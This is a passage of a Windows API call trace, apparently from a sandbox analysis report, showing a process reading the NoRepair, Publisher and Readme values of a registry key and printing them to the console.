lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.372] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.372] GetProcessHeap () returned 0x2e0000 [0148.372] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.372] GetProcessHeap () returned 0x2e0000 [0148.372] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.372] GetProcessHeap () returned 0x2e0000 [0148.372] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.372] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.372] __iob_func () returned 0x7fefd702a80 [0148.372] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.372] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.372] _fileno (_File=0x7fefd702ab0) returned 1 [0148.372] _errno () returned 0xc4bb0 [0148.372] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.372] _errno () returned 0xc4bb0 [0148.372] GetFileType (hFile=0x50) returned 0x1 [0148.372] lstrlenW (lpString=" ") returned 4 [0148.372] GetConsoleOutputCP () returned 0x1b5 [0148.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.373] GetConsoleOutputCP () returned 0x1b5 [0148.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.373] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.373] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.373] lstrlenW (lpString="NoRepair") returned 8 [0148.373] __iob_func () returned 0x7fefd702a80 [0148.373] _fileno (_File=0x7fefd702ab0) returned 1 [0148.373] _errno () returned 0xc4bb0 [0148.373] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.373] _errno () returned 0xc4bb0 [0148.373] GetFileType (hFile=0x50) returned 0x1 [0148.373] lstrlenW (lpString="NoRepair") returned 8 [0148.373] GetConsoleOutputCP () returned 0x1b5 [0148.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.373] GetConsoleOutputCP () returned 0x1b5 [0148.373] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0148.373] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.373] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.374] __iob_func () returned 0x7fefd702a80 [0148.374] _fileno (_File=0x7fefd702ab0) returned 1 [0148.374] _errno () returned 0xc4bb0 [0148.374] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.374] _errno () returned 0xc4bb0 [0148.374] GetFileType (hFile=0x50) returned 0x1 [0148.374] lstrlenW (lpString=" ") returned 4 [0148.374] GetConsoleOutputCP () returned 0x1b5 [0148.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.374] GetConsoleOutputCP () returned 0x1b5 [0148.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.374] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.374] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.374] __iob_func () returned 0x7fefd702a80 [0148.374] _fileno (_File=0x7fefd702ab0) returned 1 [0148.374] _errno () returned 0xc4bb0 [0148.374] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.374] _errno () returned 0xc4bb0 [0148.374] GetFileType (hFile=0x50) returned 0x1 [0148.374] lstrlenW (lpString="REG_DWORD") returned 9 [0148.374] GetConsoleOutputCP () returned 0x1b5 [0148.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.374] GetConsoleOutputCP () returned 0x1b5 [0148.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.375] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.375] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.375] __iob_func () returned 0x7fefd702a80 [0148.375] _fileno (_File=0x7fefd702ab0) returned 1 [0148.375] _errno () returned 0xc4bb0 [0148.375] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.375] _errno () returned 0xc4bb0 [0148.375] GetFileType (hFile=0x50) returned 0x1 [0148.375] lstrlenW (lpString=" ") returned 4 [0148.375] GetConsoleOutputCP () returned 0x1b5 [0148.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.375] GetConsoleOutputCP () returned 0x1b5 [0148.375] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.375] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.375] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.375] __iob_func () returned 0x7fefd702a80 [0148.375] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.375] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.375] _fileno (_File=0x7fefd702ab0) returned 1 [0148.375] _errno () returned 0xc4bb0 [0148.375] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.375] _errno () returned 0xc4bb0 [0148.375] GetFileType (hFile=0x50) returned 0x1 [0148.376] lstrlenW (lpString="0x1") returned 3 [0148.376] GetConsoleOutputCP () returned 0x1b5 [0148.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.376] GetConsoleOutputCP () returned 0x1b5 [0148.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.376] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.376] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.376] __iob_func () returned 0x7fefd702a80 [0148.376] _fileno (_File=0x7fefd702ab0) returned 1 [0148.376] _errno () returned 0xc4bb0 [0148.376] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.376] _errno () returned 0xc4bb0 [0148.376] GetFileType (hFile=0x50) returned 0x1 [0148.376] lstrlenW (lpString="\n") returned 1 [0148.376] GetConsoleOutputCP () returned 0x1b5 [0148.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.376] GetConsoleOutputCP () returned 0x1b5 [0148.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.376] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.376] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.377] GetProcessHeap () returned 0x2e0000 [0148.377] GetProcessHeap () returned 0x2e0000 [0148.377] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.377] GetProcessHeap () returned 0x2e0000 [0148.377] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.377] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.377] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.377] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0148.377] GetProcessHeap () returned 0x2e0000 [0148.377] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0148.377] GetProcessHeap () returned 0x2e0000 [0148.377] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.377] GetProcessHeap () returned 0x2e0000 [0148.377] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.377] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0148.377] __iob_func () returned 0x7fefd702a80 [0148.377] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.377] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.377] _fileno (_File=0x7fefd702ab0) returned 1 [0148.377] _errno () returned 0xc4bb0 [0148.377] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.377] _errno () returned 0xc4bb0 [0148.377] GetFileType (hFile=0x50) returned 0x1 [0148.377] lstrlenW (lpString=" ") returned 4 [0148.377] GetConsoleOutputCP () returned 0x1b5 [0148.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.377] GetConsoleOutputCP () returned 0x1b5 [0148.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.378] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.378] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.378] lstrlenW (lpString="Publisher") returned 9 [0148.378] __iob_func () returned 0x7fefd702a80 [0148.378] _fileno (_File=0x7fefd702ab0) returned 1 [0148.378] _errno () returned 0xc4bb0 [0148.378] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.378] _errno () returned 0xc4bb0 [0148.378] GetFileType (hFile=0x50) returned 0x1 [0148.378] lstrlenW (lpString="Publisher") returned 9 [0148.378] GetConsoleOutputCP () returned 0x1b5 [0148.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.378] GetConsoleOutputCP () returned 0x1b5 [0148.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0148.378] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.378] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.378] __iob_func () returned 0x7fefd702a80 [0148.378] _fileno (_File=0x7fefd702ab0) returned 1 [0148.378] _errno () returned 0xc4bb0 [0148.378] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.378] _errno () returned 0xc4bb0 [0148.378] GetFileType (hFile=0x50) returned 0x1 [0148.378] lstrlenW (lpString=" ") returned 4 [0148.378] GetConsoleOutputCP () returned 0x1b5 [0148.379] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.379] GetConsoleOutputCP () returned 0x1b5 [0148.379] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.379] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.379] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.379] __iob_func () returned 0x7fefd702a80 [0148.379] _fileno (_File=0x7fefd702ab0) returned 1 [0148.379] _errno () returned 0xc4bb0 [0148.379] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.379] _errno () returned 0xc4bb0 [0148.379] GetFileType (hFile=0x50) returned 0x1 [0148.379] lstrlenW (lpString="REG_SZ") returned 6 [0148.380] GetConsoleOutputCP () returned 0x1b5 [0148.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.380] GetConsoleOutputCP () returned 0x1b5 [0148.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.380] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.380] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.380] __iob_func () returned 0x7fefd702a80 [0148.380] _fileno (_File=0x7fefd702ab0) returned 1 [0148.380] _errno () returned 0xc4bb0 [0148.380] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.380] _errno () returned 0xc4bb0 [0148.380] GetFileType (hFile=0x50) returned 0x1 [0148.380] lstrlenW (lpString=" ") returned 4 [0148.380] GetConsoleOutputCP () returned 0x1b5 [0148.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.381] GetConsoleOutputCP () returned 0x1b5 [0148.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.381] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.381] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.381] __iob_func () returned 0x7fefd702a80 [0148.381] _fileno (_File=0x7fefd702ab0) returned 1 [0148.381] _errno () returned 0xc4bb0 [0148.381] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.381] _errno () returned 0xc4bb0 [0148.381] GetFileType (hFile=0x50) returned 0x1 [0148.381] lstrlenW (lpString="Microsoft Corporation") returned 21 [0148.381] GetConsoleOutputCP () returned 0x1b5 [0148.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0148.381] GetConsoleOutputCP () returned 0x1b5 [0148.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0148.381] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0148.381] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.381] __iob_func () returned 0x7fefd702a80 [0148.381] _fileno (_File=0x7fefd702ab0) returned 1 [0148.381] _errno () returned 0xc4bb0 [0148.382] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.382] _errno () returned 0xc4bb0 [0148.382] GetFileType (hFile=0x50) returned 0x1 [0148.382] lstrlenW (lpString="\n") returned 1 [0148.382] GetConsoleOutputCP () returned 0x1b5 [0148.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.382] GetConsoleOutputCP () returned 0x1b5 [0148.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.382] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.382] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.382] GetProcessHeap () returned 0x2e0000 [0148.382] GetProcessHeap () returned 0x2e0000 [0148.382] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0148.382] GetProcessHeap () returned 0x2e0000 [0148.382] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0148.382] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0148.382] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.382] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.382] GetProcessHeap () returned 0x2e0000 [0148.382] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.382] GetProcessHeap () returned 0x2e0000 [0148.382] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.382] GetProcessHeap () returned 0x2e0000 [0148.382] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.382] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.383] __iob_func () returned 0x7fefd702a80 [0148.383] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.383] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.383] _fileno (_File=0x7fefd702ab0) returned 1 [0148.383] _errno () returned 0xc4bb0 [0148.383] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.383] _errno () returned 0xc4bb0 [0148.383] GetFileType (hFile=0x50) returned 0x1 [0148.383] lstrlenW (lpString=" ") returned 4 [0148.383] GetConsoleOutputCP () returned 0x1b5 [0148.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.383] GetConsoleOutputCP () returned 0x1b5 [0148.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.383] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.383] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.383] lstrlenW (lpString="Readme") returned 6 [0148.383] __iob_func () returned 0x7fefd702a80 [0148.383] _fileno (_File=0x7fefd702ab0) returned 1 [0148.383] _errno () returned 0xc4bb0 [0148.383] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.383] _errno () returned 0xc4bb0 [0148.383] GetFileType (hFile=0x50) returned 0x1 [0148.383] lstrlenW (lpString="Readme") returned 6 [0148.383] GetConsoleOutputCP () returned 0x1b5 [0148.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.384] GetConsoleOutputCP () returned 0x1b5 [0148.384] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0148.384] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.384] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.384] __iob_func () returned 0x7fefd702a80 [0148.384] _fileno (_File=0x7fefd702ab0) returned 1 [0148.384] _errno () returned 0xc4bb0 [0148.384] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.384] _errno () returned 0xc4bb0 [0148.384] GetFileType (hFile=0x50) returned 0x1 [0148.384] lstrlenW (lpString=" ") returned 4 [0148.384] GetConsoleOutputCP () returned 0x1b5 [0148.384] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.384] GetConsoleOutputCP () returned 0x1b5 [0148.384] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.384] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.384] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.384] __iob_func () returned 0x7fefd702a80 [0148.384] _fileno (_File=0x7fefd702ab0) returned 1 [0148.384] _errno () returned 0xc4bb0 [0148.384] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.384] _errno () returned 0xc4bb0 [0148.384] GetFileType (hFile=0x50) returned 0x1 [0148.384] lstrlenW (lpString="REG_SZ") returned 6 [0148.385] GetConsoleOutputCP () returned 0x1b5 [0148.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.385] GetConsoleOutputCP () returned 0x1b5 [0148.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.385] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.385] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.385] __iob_func () returned 0x7fefd702a80 [0148.385] _fileno (_File=0x7fefd702ab0) returned 1 [0148.385] _errno () returned 0xc4bb0 [0148.385] 